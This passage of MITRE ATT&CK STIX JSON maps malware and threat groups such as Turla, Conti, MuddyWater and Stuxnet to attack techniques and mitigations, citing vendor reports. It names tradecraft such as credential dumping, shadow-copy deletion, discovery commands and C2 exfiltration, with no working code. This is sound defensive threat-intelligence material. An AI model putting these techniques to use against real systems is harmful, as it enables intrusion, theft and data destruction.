Hyper-V).","modified":"2022-04-14T16:22:58.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-17T02:47:31.655Z","description":"[WinMM](https://attack.mitre.org/software/S0059) uses HTTP for C2.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9df6635a-b3ed-494c-845e-b743e494861c","created":"2022-09-27T17:51:00.513Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:51:00.513Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used a custom proxy tool called \"Agent\" which has support for multiple hops.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dfb0ad2-5456-492a-bb74-a288ce8f7f7c","type":"relationship","created":"2020-03-19T23:45:03.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","source_name":"Unit 42 MuddyWater Nov 2017"},{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:38:13.139Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349) and other tools, including by dumping passwords saved in victim email.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dfb7899-20af-4eea-bfca-f608d885cb00","type":"relationship","created":"2017-05-31T21:33:27.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:44.995Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover running processes using the tasklist /v command.(Citation: Kaspersky Turla) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated processes associated with specific open ports or named pipes.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dfb9740-1641-4306-8ee8-38318be3ae42","type":"relationship","created":"2021-09-07T20:58:44.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-09-07T20:58:44.422Z","description":"[Dridex](https://attack.mitre.org/software/S0384) has collected the computer name and OS architecture information from the system.(Citation: Checkpoint Dridex Jan 2021)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dfdcec6-82b7-42a4-902a-3220f4d67bcf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:32.857Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) runs the net view /domain and net view commands.(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dffc323-ae0a-430e-b9de-e059862432a1","type":"relationship","created":"2020-04-28T18:12:13.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."}],"modified":"2020-04-28T18:12:13.458Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has used a custom base64 key to encode stolen data before exfiltration.(Citation: Medium KONNI Jan 2020)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e07b49b-880b-4e8a-a95b-6f9cd07daa7f","created":"2024-06-27T17:57:57.696Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T17:57:57.696Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) has been installed using a VBA macro.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e07c247-c778-496d-9972-6581f2d10c93","type":"relationship","created":"2021-10-01T14:12:52.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Joe Sec Trickbot","url":"https://www.joesecurity.org/blog/498839998833561473","description":"Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."}],"modified":"2021-10-01T14:12:52.920Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has used printf and file I/O loops to delay process execution as part of API hammering.(Citation: Joe Sec Trickbot)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9e0a0a20-e78f-491b-b828-934525bf160b","created":"2022-06-03T15:59:34.583Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky APT Trends Q1 April 2021","url":"https://securelist.com/apt-trends-report-q1-2021/101967","description":"GReAT . (2021, April 27). APT trends report Q1 2021. Retrieved June 6, 2022."},{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."},{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used PowerShell-based tools and scripts for discovery and collection on compromised hosts.(Citation: SecureWorks August 2019)(Citation: Kaspersky APT Trends Q1 April 2021)(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T15:08:27.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e0a19f8-e970-49a1-9952-ae7380247ace","type":"relationship","created":"2020-03-09T14:38:24.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-26T22:49:23.217Z","description":"Prevent users from installing Python where not required.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e0bef30-edc0-4a18-9033-a1f487e35b76","type":"relationship","created":"2021-12-29T15:08:44.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"modified":"2022-03-09T20:42:07.146Z","description":"[Tomiris](https://attack.mitre.org/software/S0671) can download files and execute them on a victim's system.(Citation: Kaspersky Tomiris Sep 2021)","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e0ca319-ad80-48f8-812e-fe7f9e0e77c4","created":"2023-03-03T22:01:18.675Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T22:01:18.675Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has copied tools within a compromised network using RDP.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e0cc38c-17a0-4320-b9b4-dc8458a9bb79","type":"relationship","created":"2020-02-20T20:53:46.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T16:36:56.126Z","description":"System scans can be performed to identify unauthorized archival utilities.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e0d38b0-f7c6-432e-8f7d-470e07a6d303","created":"2020-12-14T17:34:58.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:19:20.481Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) enumerates the currently running processes related to a variety of security products.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e134214-4cb2-438b-9306-22e7d1ea80fe","type":"relationship","created":"2020-02-19T18:54:47.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T20:19:33.612Z","description":"Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e13c22e-5758-4e8f-920c-7dbab940b02b","type":"relationship","created":"2022-02-04T22:03:05.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-04T22:03:05.824Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can execute PE files in the address space of the specified process.(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e1742a1-ffc0-4e29-88d2-04ef30a13358","type":"relationship","created":"2020-11-13T18:52:28.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}],"modified":"2020-11-13T19:31:02.612Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can capture clipboard data from a compromised host.(Citation: IBM Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e193b3a-3f21-43aa-b373-6fcec59ff2c7","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MAR10135536-F","description":"US-CERT. (2018, February 5). Malware Analysis Report (MAR) - 10135536-F. Retrieved August 15, 2024.","url":"https://web.archive.org/web/20210709132313/https://us-cert.cisa.gov/sites/default/files/publications/MAR-10135536-F.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T15:52:55.112Z","description":"[HARDRAIN](https://attack.mitre.org/software/S0246) uses FakeTLS to communicate with its C2 server.(Citation: MAR10135536-F)","relationship_type":"uses","source_ref":"malware--bd0536d7-b081-43ae-a773-cfb057c5b988","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e1bb696-e1f0-46d3-ab91-79280323d711","type":"relationship","created":"2020-06-22T20:34:36.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:34:36.748Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has attempted to use WMI event subscriptions to establish persistence on compromised hosts.(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e1daa60-db2d-4671-b96f-3ebebe1977cc","type":"relationship","created":"2019-01-30T19:50:46.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.606Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) can collect the username from the victim’s machine.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T14:56:44.484Z","description":"[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files with certain extensions and copies them to a directory in the user's profile.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--8b880b41-5139-4807-baa9-309690218719","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e22871c-2e16-4c81-903c-e081c140f7a2","type":"relationship","created":"2021-02-18T18:50:43.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-04-13T18:02:57.517Z","description":"[Conti](https://attack.mitre.org/software/S0575) can delete Windows Volume Shadow Copies using vssadmin.(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e235097-0a3a-410f-b3a1-ec50ea910d47","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Überwachung APT28 Forfiles June 2015","description":"Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.","url":"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Forfiles](https://attack.mitre.org/software/S0193) can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)(Citation: Überwachung APT28 Forfiles June 2015)","relationship_type":"uses","source_ref":"tool--90ec2b22-7061-4469-b539-0989ec4f96c2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e26a79d-1982-46b8-b077-0bb6ca30cd3b","type":"relationship","created":"2021-09-22T21:17:32.011Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:17:32.011Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has exfiltrated data to its C2 server.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e27b122-a10d-4f0a-8ca8-6040d8879586","type":"relationship","created":"2021-06-17T15:38:53.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-17T15:38:53.207Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has leveraged vulnerabilities in Pulse Secure VPNs to hijack sessions.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e27c930-eba5-467f-90e5-4ec5b4219735","type":"relationship","created":"2019-06-24T19:11:41.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"}],"modified":"2019-06-24T19:11:41.147Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used malware to gather credentials from Internet Explorer.(Citation: Proofpoint TA505 Sep 